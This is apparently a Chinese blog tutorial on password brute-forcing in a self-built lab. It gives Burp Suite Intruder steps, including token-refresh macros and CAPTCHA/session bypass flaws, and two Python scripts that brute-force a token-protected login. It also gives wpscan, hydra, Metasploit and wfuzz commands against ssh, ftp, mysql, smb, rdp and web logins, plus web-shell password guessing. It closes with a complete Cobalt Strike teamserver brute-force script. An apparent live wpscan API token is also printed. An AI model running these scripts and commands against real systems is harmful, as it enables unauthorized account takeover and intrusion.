web渗透[穷举篇]

目录

一.靶场sever-1搭建

1.选择桥接模式

2.ip原本是绑定的,设置为自动获取

3.在本机hosts文件中添加网址

 二.靶场sever-2搭建

 1.查看靶场ip

 2.配置服务器

3.配置物理机

 三.利用Burp Suite爆破获取登录密码

1.在Burp Suite自带浏览器打开网页

​编辑

2.切换拦截模式,拦截发送的登录表单请求

​编辑

​编辑

3.发送到intruder

​编辑

4.把密码设为变量

​编辑

5.添加字典

6.302跳转

7.强化练习

四.爆破有token验证的网页

1.先拦截请求,发送到intruder,把密码改为变量,添加字典(和上面一样)

​编辑

2.添加宏(macro)

​编辑 ​编辑

 3.点add点运行宏

​编辑

4.添加

​编辑

5.点Configure item

​编辑

6.将parameter name改为user_token,把token的值选上,然后一直点ok

​编辑

7.选更新user_token

​编辑

8.设置在域名为http://www.c3moon.com/的情况下用这个宏

​编辑

9.开始爆破,可以发现请求中每个token都是更新好的

​编辑 ​编辑

 10.返回都是302更新一下配置,跟随页面跳转

​编辑

11.重新爆破,密码为password

​编辑

五.编写python脚本爆破有token验证的网页

六.无cookie无验证码

1.用burp中自带的浏览器抓包

2.改一下验证码试试

3.再把session删掉试试

4.发包到intruder上面,穷举爆破,得到密码

七.验证码复用漏洞

八.设置虚拟机固定ip

九.针对验证码识别验证

1.需要的爆破工具有Burp site , Sublime , Codex

2.抓包

​编辑

3.把请求包放入Codex

​编辑

4.把字典的unix格式转换为windows

5.导入字典,输入返回验证码错误特征

​编辑

​编辑

6.点start就开始爆破了

十.cheetch对一句话后门密码进行穷举

1.右键打打开终端

​编辑

2.运行这个代码访问一句话后门爆破密码

十一.使用brupsuite对一句话后门密码进行穷举

 1.抓包

​编辑

2.右键选择change request method

​编辑

3.加入这句话,如果密码对的话,木马后门就会显示出来

​编辑

4.send to intruder开始爆破

十二.wordpress博客系统用户穷举

1.注册wpscan账号并且获取token

2.在虚拟机配置dns服务器,访问靶机

3.使用这个命令对靶机进行爆破

十三.使用 hydra 穷举 ssh 服务

1.查看主机ip是否与靶机在一个子网内

2.看一下hydra的指令

​编辑

3.查看目标机22端口是否开放

​编辑

4.开始爆破

 十四.使用 hydra 穷举 ftp 服务

十五.使用 hydra 穷举mysql 服务

十六.使用 hydra 穷举 smb 服务

 十七.使用 hydra 穷举 rdp 服务

十八.hydra 可视化工具 xhydra

1.命令行输入xhydra

​编辑

十九.metasploit 穷举模块的使用

 1.使用metasploit 爆破smb服务,打开工具

​编辑

2.打开smb登录模块

​编辑

3.查看参数

​编辑

4.设置以下参数

二十.wfuzz 多线程穷举密

二十一. 利用Mail Cracker破解邮件密码

1.当!​编辑

2.一般只能爆破些私人邮服

​编辑

3.爆破完成

​编辑

3.发邮件的工具

​编辑

4.创建账号就能发了

​编辑

 5.看看邮服

​编辑

6.可以先扫一下看看靶机端口开不开

 二十二.CobaltStrike TeamServer口令暴力破解

1.在靶机中创建teamserver

2.放入脚本csbuster.py

3.在攻击机的cobaltstrike进入命令行,再输入靶机的ip和爆破出来的密码,就可以进入teamserver了

一.靶场sever-1搭建

1.选择桥接模式

公司或者学校的话用net模式

2.ip原本是绑定的,设置为自动获取

3.在本机hosts文件中添加网址

添加完以后就可以在,本机(物理机)的浏览器上面访问这些网址

 二.靶场sever-2搭建

 1.查看靶场ip

 2.配置服务器

把这些都换成虚拟机的地址

3.配置物理机

首选dns服务器,物理机才会先访问sever-2里面的网站,否则直接去公网找,就访问不到了

配置完就能在本机浏览器中找到这个网站了

1.在NAT模式下,虚拟机的IP地址对外部网络不可见,要通过修改虚拟机的网络里的的DNS服务器地址,可以将DNS请求转发给与主机网络连接的虚拟机,从而实现对虚拟机域名的解析。(改下面这个)

2.在桥接模式下,虚拟机和物理机处于同一个网络中,它们可以直接通信。因此,只需要修改本机所连接的网络(如WLAN)的DNS服务器地址,就可以让物理机通过该网络直接访问虚拟机上的网站。

 三.利用Burp Suite爆破获取登录密码

1.在Burp Suite自带浏览器打开网页
2.切换拦截模式,拦截发送的登录表单请求
3.发送到intruder
4.把密码设为变量
5.添加字典

6.302跳转

密码为123456

7.强化练习

和上面同理

 成功

第二个

根据长度来判断是不是正确的密码

访问成功

四.爆破有token验证的网页

当客户端访问受保护资源时,将Token放入请求中发给服务器,服务器接受到请求后,会验证Token的有效性和权限,如果Token有效且权限允许,服务器会响应请求并提供所需的资源。这节介绍,怎么在爆破中更新token。

1.先拦截请求,发送到intruder,把密码改为变量,添加字典(和上面一样)
2.添加宏(macro)
 
 3.点add点运行宏
4.添加
5.点Configure item
6.将parameter name改为user_token,把token的值选上,然后一直点ok
7.选更新user_token
8.设置在域名为http://www.c3moon.com/的情况下用这个宏
9.开始爆破,可以发现请求中每个token都是更新好的
 
 10.返回都是302更新一下配置,跟随页面跳转
11.重新爆破,密码为password

五.编写python脚本爆破有token验证的网页

先上代码

from tkinter.tix import Tree  # 导入 Tkinter 模块中的 Tree 组件,但这段代码并没有用到它
import requests  # 导入 requests 库,用于发送 HTTP 请求和处理响应
import re  # 导入 re 模块,用于进行正则表达式匹配

url = "http://www.c3moon.com/login.php"  # 定义要登录的 URL,为一个名为 login.php 的页面

def login(password):
    session = requests.session()  # 创建一个 requests.Session 对象,用于保存会话状态
    req = session.get(url)  # 发送一个 HTTP GET 请求,获取登录页面的 HTML 响应
    user_token = re.search("[a-z0-9]{32}", req.text).group(0)  # 从响应中提取 user_token,用于后续登录请求构造
    data = {"username" : "admin" , "password" : password , "Login" : "Login" ,"user_token" : user_token}  # 构造登录请求的表单数据
    req = session.post(url = url , data = data , allow_redirects = True)  # 发送登录请求,并允许自动处理重定向
    html = req.text  # 获取登录请求的响应 HTML
    return html  # 返回登录请求的响应 HTML

with open('top1000.txt') as p:  # 打开一个名为 top1000.txt 的文件,其中包含了要尝试的密码列表
    passlist = p.readlines()  # 读取文件中的所有行,并保存到 passlist 变量中
    p.close()  # 关闭文件

for line in passlist:  # 对于密码列表中的每个密码
    line = line.strip("\n")  # 去掉密码字符串中的换行符
    print(line)  # 输出当前尝试的密码
    if 'File Upload' in login(line):  # 使用当前密码进行登录,如果登录成功并且登录后的页面包含字符串 "File Upload"
        print("密码为:%s" % line)  # 输出成功的密码
        break  # 结束程序

 后面自己又写了一个

import re

import requests
# Login failed

def Login(pw):
    url = "http://192.168.116.136/01/login.php"
    session = requests.Session()
    req = session.get(url)
    # token = re.findall(r'value=\'(.+)\'', req.text) 都行,findall的话就加个token[0],因为findall返回的是列表
    match = re.search(r'value=\'(.+)\'', req.text)
    user_token = match.group(1)

    data = {
        "username": "admin",
        "password": pw,
        "Login": "Login",
        "user_token": user_token
    }

    req = session.post(url=url, data=data, allow_redirects=True)
    return req.text

with open('C:/Users/Asus/Desktop/top1000.txt') as p:
    passwordlist = p.readlines()
    p.close()

for line in passwordlist:
    line = line.strip("\n")
    print(line)
    if not "Login failed" in Login(line):
        print("密码为:%s" % line)
        break

 

总的来说就是

先获取HTTP 请求返回的响应内容

11efa5d831f32a8a104ec0a1801f354a是文件名,是服务器储存token的文件,用req = re.search("[a-z0-9]{32}",req.text).group(0)在服务器返回的文件中,获取token值

然后再字典里面拿密码试,把密码放进data里面打包用post发出去

密码就出来了

六.无cookie无验证码

有些网站因为代码逻辑问题导致出现的漏洞,用户要输入验证码与服务器发来的session中包含的验证码来相互验证。但是如果我们发送的请求把session删了。就不用验证了

接下来是步骤

1.用burp中自带的浏览器抓包

发送到repeater上

2.改一下验证码试试

3.再把session删掉试试

验证码错误没了

4.发包到intruder上面,穷举爆破,得到密码

七.验证码复用漏洞

代码逻辑导致漏洞。因为session中的验证码不删除,网页刷新后仍然可以用上一个验证码来通过验证

抓包发送到repeater上

直接爆破 

成功获得密码 

八.设置虚拟机固定ip

 

九.针对验证码识别验证

1.需要的爆破工具有Burp site , Sublime , Codex
2.抓包
3.把请求包放入Codex
4.把字典的unix格式转换为windows

UNIX 和 Windows 操作系统在处理文本文件时使用了不同的换行符:

  • UNIX 使用单个 LF(Line Feed)字符表示一行的结束;
  • Windows 使用 CR(Carriage Return)和 LF 两个字符组合表示一行的结束。

 

选Line ending选windows

5.导入字典,输入返回验证码错误特征
6.点start就开始爆破了

感觉比burp site要快

十.cheetch对一句话后门密码进行穷举

1.右键打打开终端
2.运行这个代码访问一句话后门爆破密码

十一.使用brupsuite对一句话后门密码进行穷举

 1.抓包
2.右键选择change request method
3.加入这句话,如果密码对的话,木马后门就会显示出来

等于号后面不要加空格

4.send to intruder开始爆破

爆破成功

十二.wordpress博客系统用户穷举

1.注册wpscan账号并且获取token

WPScan是一个开源的WordPress漏洞扫描器,它可以帮助安全测试人员或管理员检测WordPress网站中的漏洞和安全问题。WPScan可以扫描WordPress网站并识别出已知的漏洞,比如WordPress核心代码和插件中的安全漏洞、敏感信息泄露等。WPScan也可以进行密码爆破测试,并且提供了一些其他有用的功能,例如查找已安装的主题和插件、列举用户、收集WordPress版本信息等。

2.在虚拟机配置dns服务器,访问靶机

3.使用这个命令对靶机进行爆破

wpscan --url http://www.redteam.com/ -e u -P /home/hqn/top1000.txt --api-token BAplV0uKn40rZVy5jWKNgZW4m29fU1VEh39rQcANN68

十三.使用 hydra 穷举 ssh 服务

1.查看主机ip是否与靶机在一个子网内

不是的话就按这个指令改一下,(第二天的我:改完就连不上网了

sudo ifconfig eth2 192.168.1.2 netmask 255.255.255.0
2.看一下hydra的指令
3.查看目标机22端口是否开放
nmap -p 22 目标机的ip
4.开始爆破
hydra -L 用户字典文件地址 -P 密码字典文件地址 -e ns -vV -t 1 目标机IP

 

 知道用户名的话可以 -l  用户名,-L是文件字典,然后如果想找到密码就停止爆破的话就加个 -t

 十四.使用 hydra 穷举 ftp 服务

十五.使用 hydra 穷举mysql 服务

十六.使用 hydra 穷举 smb 服务

-o是把账号密码写入文件

如果目标机的c盘是共享的话,可以在主机访问到

 批量爆破

 

 十七.使用 hydra 穷举 rdp 服务

RDP是一种远程桌面协议,用于远程控制Windows桌面。它允许用户通过网络连接到远程Windows计算机,并在本地计算机上使用远程计算机的桌面、应用程序和文件。RDP协议通常使用TCP端口3389进行通信

主机打开rdp远程控制服务

输入目标主机的ip

 

点更多选项添加账号密码

就连接成功啦

十八.使用 hydra 穷举 http 服务

http-post-form        post方法用这个模块

/admin/index.php        网站导航

user=^USER^        用户名

ps=^PASS^        密码

login-error        密码错误时会调用login-error方法,可以在源代码里看到

十八.hydra 可视化工具 xhydra

1.命令行输入xhydra

十九.metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login

auxiliary/scanner/smb/smb_login

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

模块的用法 首先启动在终端下启动

msfconsole

use 使用 ssh_login 模块

use auxiliary/scanner/ssh/ssh_login

show options 查看模块的参数

 1.使用metasploit 爆破smb服务,打开工具
2.打开smb登录模块
3.查看参数
4.设置以下参数

爆破成功

二十.wfuzz 多线程穷举密

  • -c:指定输出结果以彩色显示。
  • -z file,/home/hqn/csdnpass.txt:使用文件 /home/hqn/csdnpass.txt 中的内容作为 fuzzing 的 payload。
  • --sc 302:设置 HTTP 响应状态码为 302 时认为是成功的条件。
  • -u http://www.c1moon.com/admin/index.php?action=login:指定目标 URL 为 http://www.c1moon.com/admin/index.php?action=login,即登录页面。
  • -d "user=admin&pw=FUZZ":指定请求的数据部分,其中 FUZZ 将被 payload 替换,post请求要用-d
  • get请求这样就好

-w /home/...    也可以指定字典

--hc 404    屏蔽404状态码

--hh        屏蔽1549长度的返回值

 md给我虚拟机干爆了

二十一. 利用Mail Cracker破解邮件密码

1.当!
2.一般只能爆破些私人邮服

其他的可以有其他验证,比如只能登录3次什么的

3.爆破完成
3.发邮件的工具

4.创建账号就能发了
 5.看看邮服
6.可以先扫一下看看靶机端口开不开

 二十二.CobaltStrike TeamServer口令暴力破解

这里主要是对CobaltStrike 的TeamServer模块进行口令破解

1.在靶机中创建teamserver

 把cobaltstriike工具复制到靶机上

创建成功,监听请求

2.放入脚本csbuster.py
#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys

# csbrute.py - Cobalt Strike Team Server Password Brute Forcer

# https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-to-properly-require-a-minimal-python-versi

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
    sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument("host",
                    help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
                    help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
                    help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
                    help="Concurrency level")

args = parser.parse_args()

# https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-python-socket


class NotConnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node


class DisconnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node


class Connector:
    def __init__(self):
        self.sock = None
        self.ssl_sock = None
        self.ctx = ssl.SSLContext()
        self.ctx.verify_mode = ssl.CERT_NONE
        pass

    def is_connected(self):
        return self.sock and self.ssl_sock

    def open(self, hostname, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.ssl_sock = self.ctx.wrap_socket(self.sock)

        if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0]
            self.ssl_sock.connect((ipaddress, port))
        else:
            self.ssl_sock.connect((hostname, port))

    def close(self):
        if self.sock:
            self.sock.close()
        self.sock = None
        self.ssl_sock = None

    def send(self, buffer):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        self.ssl_sock.sendall(buffer)

    def receive(self):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        received_size = 0
        data_buffer = b""

        while received_size < 4:
            data_in = self.ssl_sock.recv()
            data_buffer = data_buffer + data_in
            received_size += len(data_in)

        return data_buffer


def passwordcheck(password):
    if len(password) > 0:
        result = None
        conn = Connector()
        conn.open(args.host, args.port)
        payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(
            bytes(password, "ascii").ljust(256, b"A"))
        conn.send(payload)
        if conn.is_connected(): result = conn.receive()
        if conn.is_connected(): conn.close()
        if result == bytearray(b"\x00\x00\xca\xfe"):
            return password
        else:
            return False
    else:
        print("Ignored blank password")

passwords = []

if args.wordlist:
    print("Wordlist: {}".format(args.wordlist))
    passwords = open(args.wordlist).read().split("\n")
else:
    print("Wordlist: {}".format("stdin"))
    for line in sys.stdin:
        passwords.append(line.rstrip())

if len(passwords) > 0:

    print("Word Count: {}".format(len(passwords)))
    print("Threads: {}".format(args.threads))

    start = time.time()

    # https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python

    attempts = 0
    failures = 0

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:

        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
        for future in concurrent.futures.as_completed(future_to_check):
            password = future_to_check[future]
            try:
                data = future.result()
                attempts = attempts + 1
                if data:
                    print("Found Password: {}".format(password))
            except Exception as exc:
                failures = failures + 1
                print('%r generated an exception: %s' % (password, exc))

    print("Attempts: {}".format(attempts))
    print("Failures: {}".format(failures))
    finish = time.time()
    print("Seconds: {:.1f}".format(finish - start))
    print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
    print("Password(s) required")

 爆破出密码

3.在攻击机的cobaltstrike进入命令行,再输入靶机的ip和爆破出来的密码,就可以进入teamserver了

  • 18
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值